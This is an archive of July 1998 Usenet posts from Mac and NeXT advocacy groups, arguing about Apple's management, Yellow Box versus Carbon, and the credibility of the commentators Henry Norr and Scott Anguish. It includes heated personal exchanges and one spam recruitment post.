Message-ID: <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com>
In article <35ABD8E4.7E40F57F@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Joe Ragosta wrote:
>
> > > Scott is anything but qualified to disparage the likes of Henry Norr.
> > > That's undisputable. Oh, I know how the NeXT community likes to hold
> > > itself above the Mac community, which would obviously make media
> > > personalities like Scott Anguish more credible than longtimers like
> > > Norr.
> >
> > Fine. I've been a Mac user for 13 years now and _I'll_ disparage Norr. He
> > has never been very reliable and has had an anti-Apple chip on his
> > shoulder as long as I can remember.
>
> The question isn't whether or not he has an anti-Apple chip on his
> shoulder. The question is whether the chip has any place being there.
>
> Now, we all know how loyal you are, Joe. We're all terribly impressed by
> the way you've suspended as much gray matter activity as possible to
> justify the endless exploitations perpetuated by Apple Computer. One
> might say that you have "an ideological commitment" to Apple Computer's
> positive image. So I'm sure that you won't agree with Norr's assessment
> of Apple.
>
> My observation has been that Norr's criticisms of Apple were *always*
> along the lines of "Apple shouldn't be doing this because Apple would be
> more successful if it weren't." This stands in stark contrast to
> "anti-Apple bias" you described in an earlier post. Norr has a very
> strong pro-Apple bias, and he criticizes what he considers to be bad
> behavior because of it.
Yes, absolutely. Knowing that a company which builds a good product
is screwed-up and telling the world about it is NOT exactly the same
thing as bashing the product that said screwed-up company builds.
Knorr wants the Mac to stay around. He is, however, very critical of
Apple. And justifiably so. Apple's lack of cohesive management has
just about killed it. Hundreds of missed opportunities piled upon
hundreds of tactical blunders have left the Mac with less than a 5%
marketshare and it doesn't look as if it will ever grow much more
than that. The Mac should be the dominant platform on this planet
(logically), but it isn't. Three profitable quarters or no, Apple is
still struggling. One can go through the hierarchy of Apple
management, past and present and point fingers (If I had to pick one
Apple personality upon which to pin the majority of its resultant
woes, that person would be Jean Louis Gassee. His tenure at Apple
is proabably the most responsible for Apple's poor marketshare today.)
but the fact is, overall, that Apple was and remains, a very poorly
run company.
George Graves
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 15 Jul 1998 11:54:05 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1507981154060001@sdn-ar-001casbarp158.dialsprint.net>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net>
In article <joe.ragosta-1507980648180001@elk60.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Which OS has the highest productivity?
Hmmm, I dont know, you will have to tell. openstep? Linux?
> Which OS has the best ease of use?
No doubt about it, the mac.
> Which OS has the lowest TCO?
Again I dont know, openstep? Linux?
--
So many pedestrians, so little time.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 12:06:39 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1507981206390001@sdn-ar-001casbarp158.dialsprint.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <joe.ragosta-1507981050110001@wil45.dol.net>
In article <joe.ragosta-1507981050110001@wil45.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> You haven't responded to the example I gave.
>
> After the introduction of one round of Macs (the 8600/9600, IIRC), he
> completely lambasted Apple because they were 'too expensive'. Of course,
> to come up with that conclusion, he compared a fully equipped top of the
> line 9600 to a cheap garage shop PC clone. It never occurred to him that
> if someone wanted to buy a clone, they shouldn't be comparing its price to
> a high end name brand system. At the time, there were multiple Mac cloners
> and they were easily competitive in price with the PC. Likewise, the 8600
> and 9600 were pretty competitive with name brand systems comparably
> equipped.
Can you requote his article?
If he merely compared the apple to a pc, I agree.
But if part of his argument was look at these machines compared to a power
computing....
--
So many pedestrians, so little time.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 12:15:26 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1507981215260001@sf-usr1-30-158.dialup.slip.net>
References: <not-1407981048300001@2-25.phx.psn.net> <6ogat2$8vu@shelob.afs.com> <not-1407981431260001@1-58.phx.psn.net>
In article <not-1407981431260001@1-58.phx.psn.net>, eilersm@azstarnet.com wrote:
> In article <6ogat2$8vu@shelob.afs.com>, Greg_Anderson@afs.com wrote:
>
> > > Not one of the Big Four Mac developers--Adobe, Quark, Microsoft,
> > > Macromedia--the people who *made* the Mac what it is today--were willing
> > > to touch Yellow Box with a ten-quadrillion-foot pole. That alone doomed
> > > the Yellow Box forever.
> >
> > But the reasons had nothing to do with technical inability. Those four
> > developers had already been forced to solve cross-platform issues with
> > their own home-grown solutions. There was no point rewriting everything,
> > because it conveyed no fresh advantage *to them*. Furthermore, YB poses
> > a potential threat, precisely because it allows smaller firms to catch
> > up -- on both Windows and Mac -- with drastically smaller resources.
>
> The argument I always heard that were pro-Yellow-Box suggested that the
> big companies would clearly benefit from going Yellow Box because they
> could develop both Mac and PC apps from a single code base. The fact that
> they had such an advantage offered to them and declined it says a lot
> about them,
Actually, it says MORE about Apple. Do you think, that if Microsoft had
come up with Yellow Box instead of Apple, that developers would have
ignored it? You bet your bunny slippers they wouldn't have ignored it,
in fact, by now (assuming that it was MS rather than Apple who
announced Yellow box formally in May, 1997) most apps would already
have been ported to it. Its Apple's ability to remain squarely behind
their own technologies that the major software developers declined,
not Yellow Box itself.
but just as much about YB. You have to ask the question: if YB
> is so compelling, why are people willing to stick with crappy MicroSoft
> APIs instead?
Because they are Microsoft APIs and the developers know that they will
around for a while.
>
> Answer: because they are pre-trained in the field, the docs have been
> written, the bugs are known, the workarounds have bceome standard.
> Entrenched, even. Why has BeOS faded into total obscurity, even though it
> is unarguably the most modern OS yet? Different APIs.
\
OK. That too.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 15 Jul 1998 12:27:46 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1507981228010001@sf-usr1-30-158.dialup.slip.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <Josh.McKee-1407981853200001@pm3a4.rmac.net>
In article <Josh.McKee-1407981853200001@pm3a4.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> In article <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > In article <Josh.McKee-1307982024580001@pm3a3.rmac.net>,
> > Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > > Let me ask you this George, how do you know OS 8.x will run carbon
> tuned apps?
> >
> > Jobs, at his WWDC presentation in May, talked about Sonata (the next
> major OS-8
> > (9?) upgrade after Allegro). He said that it would contain an extension
> > which would
> > allow it to run Carbon-tuned apps -only without PMT and memory protection.
>
>
> In other words, Apple said that it would. The very same Apple that said
> that the NuBus PowerMacs would run the next generation OS Apple was going
> to deliver. The same Apple that said that "all currently shipping" (at
> the time the announcement was made) would run Rhapsody, which they've all
> but killed.
>
> Unfortunately, I cannot take Apple for anything it says. They've promised
> so much and delivered so little.
While I agree with you in principle (Apple cannot be trusted), this situation
is a little different. Apple will be making TWO parallel Mac OSes. One based
on OS-8 (OS-7, actually) and OS-X. All apps are expected to migrate to OS-X,
which makes them a little different from their OS-8 compliant predecessors.
In order for any apps to run on Apple's OS-8 descendents, they are going to
have to provide Carbon compatibility for the OS-8 based product. I fully
expect that they will.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 15 Jul 1998 12:29:42 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1507981229420001@sf-usr1-30-158.dialup.slip.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <Josh.McKee-1407981853200001@pm3a4.rmac.net> <stevehix-1407982148090001@ip39.safemail.com> <macghod-1407982235340001@sdn-ar-001casbarp297.dialsprint.net>
In article <macghod-1407982235340001@sdn-ar-001casbarp297.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> Apple has really done a great job getting its act together. BUT it
> absolutely positively has to understand, that as a long term goal (I am
> not saying it should take precedence over its short term goals) is to
> REGAIN the trust of the industry.
AMEN, brother!
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 15 Jul 1998 12:31:28 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1507981231290001@sf-usr1-30-158.dialup.slip.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <joe.ragosta-1407981308330001@wil86.dol.net>
In article <joe.ragosta-1407981308330001@wil86.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > In article <Josh.McKee-1307982024580001@pm3a3.rmac.net>,
> > Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> >
> > > In article <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net>,
> > > gmgraves@slip.net (George Graves) wrote:
> > >
> > >
> > > > You are forgetting that OS-8 will continue to be sold and supported in
> > > > parallel with OS-X. Anyone who's Power Mac won't run OS-X can run
> > OS-8.x, and
> > > > OS-8.x will run carbon-tuned apps. It just won't have protected
> > memory, and
> > > > PMT. If those are the features one wants, one will have to buy a G3
> or a G4
> > > > machine to get them.
> > >
> > >
> > > Let me ask you this George, how do you know OS 8.x will run carbon
> tuned apps?
> >
> > Jobs, at his WWDC presentation in May, talked about Sonata (the next
> major OS-8
> > (9?) upgrade after Allegro). He said that it would contain an extension
> > which would
> > allow it to run Carbon-tuned apps -only without PMT and memory protection.
>
> Right. I had heard that.
>
> But wasn't Sonata supposed to be Mac OS 9 rather than 8.x?
That's what I said. "(the next major OS-8 (9?) upgrade after Allegro)"
George Graves
>
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 18:56:57 GMT
Organization: wazza?
Message-ID: <6oiu1p$p5q$1@server.signat.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com>
<joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com>
<6oifg8$h7g$6@server.signat.org> <35ACD2FC.F8276635@ericsson.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: Michael.Peck@ericsson.com
In <35ACD2FC.F8276635@ericsson.com> Michael Peck wrote:
> Incredible. Somehow, Norr's honest criticism described as "anti-YB"
No no no no, I clearly said nothing of the sort in the portion you quoted.
Here it is again...
> > The question isn't whether or not he has an anti-Apple chip on his
> > shoulder.
>
> Considering your own arguments against Scott's take on this issue is that
> he has a pro-YB "chip" on this shoulder, this is INDEED the question.
YOU pointed out the anti-Apple chip. My fault for calling this anti-YB.
> equivalent to Scott Anguish's unconfirmed and, for all I know, wildly
> speculatory "assurances" that YB is continuing
No no no no, that's YOU that's trying to compare them. When Scott said
Norr's opinion disagreed with his, you and Mike E both responded the same way
- Scott has no clue, his people inside Apple don't know what's going on, and
that Scott's personal bias leads to his opinion.
All of these cut both ways. Instead of admitting this and simply
concluding that you believe Henry's opinion more than Scott's, you both went
on to make numerous unsupported and insulting claims.
> despite impartial evidence from the outside to the contrary.
Impartial evidence? Where? Do you claim Henry Norr is impartial? You
claim to know what he thinks?
> already been pointed out that Norr has a journalist's perspective and
> Anguish has an inside businessman's perspective. See if you can make
> them fit as equivalents.
Why should I?
> My point in posting was to combat two notions: one, that Henry Norr is
> an incompetent journalist
I've not seen a single claim of this, so I'm not exactly sure what it is
you're "combatting".
> and two, that Scott Anguish had *ANY* right
> to make disparaging comments to that effect.
I have not seen any comments from Scott disparaging Henry Norr's abilities.
However I've seen many from you doing the same about
> Scott is a *self-interested* party with inside info.
OK.
> He has *NO BUSINESS* posting that inside info publicly.
He didn't.
> as *fact*
He didn't.
> and then disparaging an outside observer's commentary
He didn't.
> publicly available. You are attempting to justify that behavior
No.€I am attempting to blast your insulting and disparaging comments.
> think it's dishonest for you to change the subject.
I'm not.
> Were you one of the
> people that got upset about Ric Ford publicly posting his response to an
> OPEN LETTER to Steve Jobs?
Funny you should ask this one sentance after falsly accusing me of
attempting to change the topic.
> One wonders where you get off all hot and
> bothered on this issue, on the other side of it.
Pot, meet kettle.
> Maybe you'd prefer we all withhold our criticisms. Oh, dear, in that
> case Scott Anguish would *STILL* be wrong, since he was the one who
> criticizes Norr with zero provocation.
Criticizes Norr? Zero provocation? Yet more revisionist thread writing I
see.
> Never mind that the $400 million acquisition of NeXT was made on the
> investments of people like myself on promises that have *VAPORIZED*.
Not yet it hasn't.
> Bias? Yeah, I have a bias against bullshit.
Sadly this doesn't stop you from spewing it and resporting to all sorts of
nasty tactics that you're quick to pin on other people.
> Sadly you think nothing of reviewing the material in question before
> running off at the mouth.
That's right, I always review the material. Let me guess, this is
misworded.
Maury
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 19:30:15 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oj007$788$1@lwnws01.ne.highway1.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <35abb26e.0@news.depaul.edu> <35ABB916.F3460C01@ericsson.com> <6oiq1p$5js$1@news.spacelab.net> <35ACF1FF.60CCFA4E@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
> Treat me like a pariah if you like, Chuck, it wouldn't be the first
> time, would it? I'd think that you, of all people, would feel partly
> responsible for my current relationship with this newsgroup. After all,
> this isn't our first discussion, is it?
Right, poor you. Clearly you had nothing to do with your current standing at
all. Just been victimized by the big bad NeXT people. Puhleez. USENET is
at least a two way street.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 20:13:02 GMT
Organization: Digital Fix Development
Message-ID: <6oj2ge$b61$1@news.digifix.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6oga6q$iv$1@news.xmission.com> <35abb32c.0@news.depaul.edu> <joe.ragosta-1407981635580001@wil37.dol.net> <6oglng$ft8$1@news.digifix.com> <6oie2v$h7g$3@server.signat.org>
In-Reply-To: <6oie2v$h7g$3@server.signat.org>
On 07/15/98, Maury Markowitz wrote:
>In <6oglng$ft8$1@news.digifix.com> Scott Anguish wrote:
>> The YB runtime issues lie squarely in the realm of Adobe
>
> Not for long, one hopes.
>
>> to a lesser extent the Unisys LZW patent.
>
> Same here, doesn't PDF avoid this issue?
>
Uh, not really. The Unisys issue is LZW, which is present
both in the proposed .gif support (although QT support will encompass
that in the Mac OS X timeframe) and in the tiff support.
Neither of these have anything to do with PDF though.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 20:27:55 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oj3cb$94e$1@lwnws01.ne.highway1.com>
References: <not-1407981048300001@2-25.phx.psn.net> <6ogat2$8vu@shelob.afs.com> <not-1407981431260001@1-58.phx.psn.net> <gmgraves-1507981215260001@sf-usr1-30-158.dialup.slip.net>
gmgraves@slip.net (George Graves) wrote:
> In article <not-1407981431260001@1-58.phx.psn.net>, eilersm@azstarnet.com
> wrote:
> > Answer: because they are pre-trained in the field, the docs
> > have been written, the bugs are known, the workarounds have
> > bceome standard. Entrenched, even. Why has BeOS faded into
> > total obscurity, even though it is unarguably the most modern
> > OS yet? Different APIs.
> \ OK. That too.
I think the choice of C++ sunk that ship. It really provides no palattable
advantage over win32 work. Unfortunatly many other interesting and more
meritorious ideas will go down with that ship.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 20:24:54 GMT
Organization: Digital Fix Development
Message-ID: <6oj36m$bgq$1@news.digifix.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net>
In-Reply-To: <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net>
On 07/15/98, George Graves wrote:
>In article <6oggrh$ed9$1@news.digifix.com>, sanguish@digifix.com
(Scott
>Anguish) wrote:
>
>> On 07/14/98, George Graves wrote:
<snip>
>> >One doesn't have to listen to Henry Norr to see what's happening
>> >to Yellow box, we've seen it countless times with other promising
>> >but stillborn Apple technologies. The list is almost endless.
Apple
>> >touts some technology as the 'next big thing', then changes
direction
>> >and guess what? That next big thing gets left in the lurch.
Jaguar,
>> >Taligent, Pink, Copland, OpenDoc, QDGX, Newton, etc., etc., etc.
>>
>> And when were all those killed? With the exception of the
>> Newton pre-Jobs takeover.
>
>'When' is not the point. The point is that Apple's past inability to
stay
>the course with their OS and technology plans has left them with ZERO
>credibility in the development community. How would you like to be
>one of the companys founded to write OpenDoc apps or Newton apps, or
>for that matter Rhapsody apps?
What exactly do you think I do George?
And the timeframe DOES MATTER. Because this ain't the same
old Apple management.
>Pull this crap enough and no one will
>write apps which will take advantage of ANY of your new technology.
>This is here Apple is. Almost nobody signed up to port their apps to
>Yellow Box, that's why Apple had to change the whole thing to the
>"Carbon" scheme. They reduced the task to the simplest of changes
>because they found that that's all of the consideration that the
>developer community would give them. Heck, if I were a developer, I'd
>wait through OS-X, X.1, and X.5 before I committed a moment's
>resource to changing my apps to comply.
And here is the EXACT reason that Carbon was created. So that
those who don't want risk (and the potential rewards that accompany
it) don't need to.
>>
>> >Remember "....Its called 'Carbon' and ALL lifeforms eminate from
it."
>>
>> A catchy slogan that shouldn't be taken as gospel.
>
>Oh? You know this for fact? Your crystal ball is better than mine,
then.
>Mine gets cloudy every time I ask it to show me Apple's software
>future.
Sure. Apple has said, and continues to say, that if you are
looking LONG TERM, and don't need or care to hit the current Mac OS 8
and earlier crowd that YB is the place to be.
If you are looking at short term getting your products from
Mac OS to Mac OS X, Carbon is the way to go.
Apple is probably the ONLY company of its size that is still
so heavily relying on a third party to provide an up-to-date set of
OO-APIs for its development (PowerPlant). YB is crucial if for no
other reason that it moves that in-house and to a
Java compatible format.
<snip>
>Later, in my post, I said that Jobs HAS taken a dictatorial stance at
>Apple, so I agree that he's firmly in charge NOW. But he's acting
CEO,
>and when he leaves (as he must) the old Apple culture will reappear
>(as it always has).
>
Why must he leave? Why do you think that Apple's current
board (which Steve is a member of) would allow that? Apple's board
members should have clearly seen the light at this point. I'd expect
that if Steve were to leave that we'd see a CEO come from the ranks
that he has been grooming.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 15:51:30 -0500
Organization: Ericsson North America Inc.
Message-ID: <35AD1652.7DBBB5DE@ericsson.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <35abb26e.0@news.depaul.edu> <35ABB916.F3460C01@ericsson.com> <6oiq1p$5js$1@news.spacelab.net> <35ACF1FF.60CCFA4E@ericsson.com> <6oj007$788$1@lwnws01.ne.highway1.com>
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John Kheit wrote:
>
> Michael Peck <Michael.Peck@ericsson.com> wrote:
> > Treat me like a pariah if you like, Chuck, it wouldn't be the first
> > time, would it? I'd think that you, of all people, would feel partly
> > responsible for my current relationship with this newsgroup. After all,
> > this isn't our first discussion, is it?
>
> Right, poor you. Clearly you had nothing to do with your current standing at
> all. Just been victimized by the big bad NeXT people. Puhleez. USENET is
> at least a two way street.
Heh. Actually, I never said that, but Gregory Anderson just did.
> I'm sure you
> don't consider that a great loss, because plenty of people are more
> than willing to take up the slack and provide you ongoing entertainment.
> But it's one of the reasons that the reasonable old-timers you've been
> looking for have abandoned the group. I used to post to this group
> constantly, and people tell me that I was considered one of its more
> reasonable voices. But even I finally gave up under the sheer weight
> of argument-for-its-own-sake between people who had obviously stopped
> listening to each other (or never even started).
I don't pretend to be a victim of anything, John. If anyone is doing
that, it is the NeXT folk, who alternately insult their opponents and
claim to be worn out from all the virtuous hard work they've been doing.
Like you, for instance.
MJP
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Date: 15 Jul 1998 21:00:48 GMT
Organization: San Diego State University
Message-ID: <6oj5a0$goe$1@hole.sdsu.edu>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net>
George Graves (gmgraves@slip.net) wrote:
: management, past and present and point fingers (If I had to pick one
: Apple personality upon which to pin the majority of its resultant
: woes, that person would be Jean Louis Gassee. His tenure at Apple
: is proabably the most responsible for Apple's poor marketshare today.)
This is I think the second time I have seen Gassee criticised as
chiefly responsible for Apple's more idiotic decisions. Lacking
any knowledge of Gassee's tenure at the company, I can't judge the
statement. What's the story? What did he do?
My interest in JLG is more than academic of course, because Gassee
after all now heads up Be, in whom I've invested a certain amount of
loyalty and time. If Gassee fucked up before I'd like to know how,
just in case he does it again :)
-tomlinson
--
Ernest S. Tomlinson - San Diego State University
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 15 Jul 1998 20:33:56 GMT
Organization: Digital Fix Development
Message-ID: <6oj3nk$bnf$1@news.digifix.com>
References: <35AA8501.CF6AAF27@nospam.com> <6oi4b9$gtr@btmpjg.god.bel.alcatel.be> <6oi5rc$37k$2@leonie.object-factory.com> <6oi9n8$5b8@nntp02.primenet.com> <6oib8s$bf4$1@camel15.mindspring.com>
In-Reply-To: <6oib8s$bf4$1@camel15.mindspring.com>
On 07/15/98, Matthew Cromer wrote:
>In article <6oi465$5q5$1@nnrp1.dejanews.com> ,
quinlan@intergate.bc.ca
>writes:
>>The reason that 80+% of the development market is dominated by
Visual C++ is
>>because NeXT had the same attitude that you do.
>
>
>What attitude?
>
>Michelle comes in here, ranting and raving about Apple, declaring
>YB dead, and basically calling Scott and Gregory and the other YB
>developers idiots for writing YB code.
To be fair, I'm not sure it was Michelle and not Erik. I like
and respect Erik (I don't know anything about Michelle other than her
relationship with Erik.)
>She proceeds to call Apple dead in the enterprise. Last time I
>checked, Apple was adding a lot of high-profile WebObjects customers.
>Apple is also getting a lot of attention from Wall Street, positive
>attention, for the first time in a long time. And Michelle is
>certainly doing nobody who works this market any favors at all
>telling them they are idiots, telling us she is urging her clients
>to drop YB technologies as quickly as possible, and in other ways
>basically dumping on the future of YB.
My problem with Erik/Michelle's message is that it flies in
the face of what is being said. YB isn't dead. It may not be as
high-profile as it once was hoped to be, but the best way to get it in
and adopted is through low-profile adoption.
Carbon needs to be pushed now, there is no doubt about that.
But YB isn't dead. Far from it.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: umfrage@gppg.com
Newsgroups: comp.sys.next.advocacy
Subject: Web-consultants, -developers, -programmers wanted
Date: Wednesday, 15 Jul 1998 22:58:58 -0600
Organization: Nacamar Data Communications
Message-ID: <15079822.5858@gppg.com>
We are constantly seeking contacts to consultants, programmers, designers
which can help us making our site the number 1 within the adult industry.
Are you interested ? Then please visit our site,
http://www.internet-sexshop.de/gpeg/umfrage/memhome_e.htm
tell us what you think and send suggestions and quotations !
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-NfJ1Xy6bQXix@localhost>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
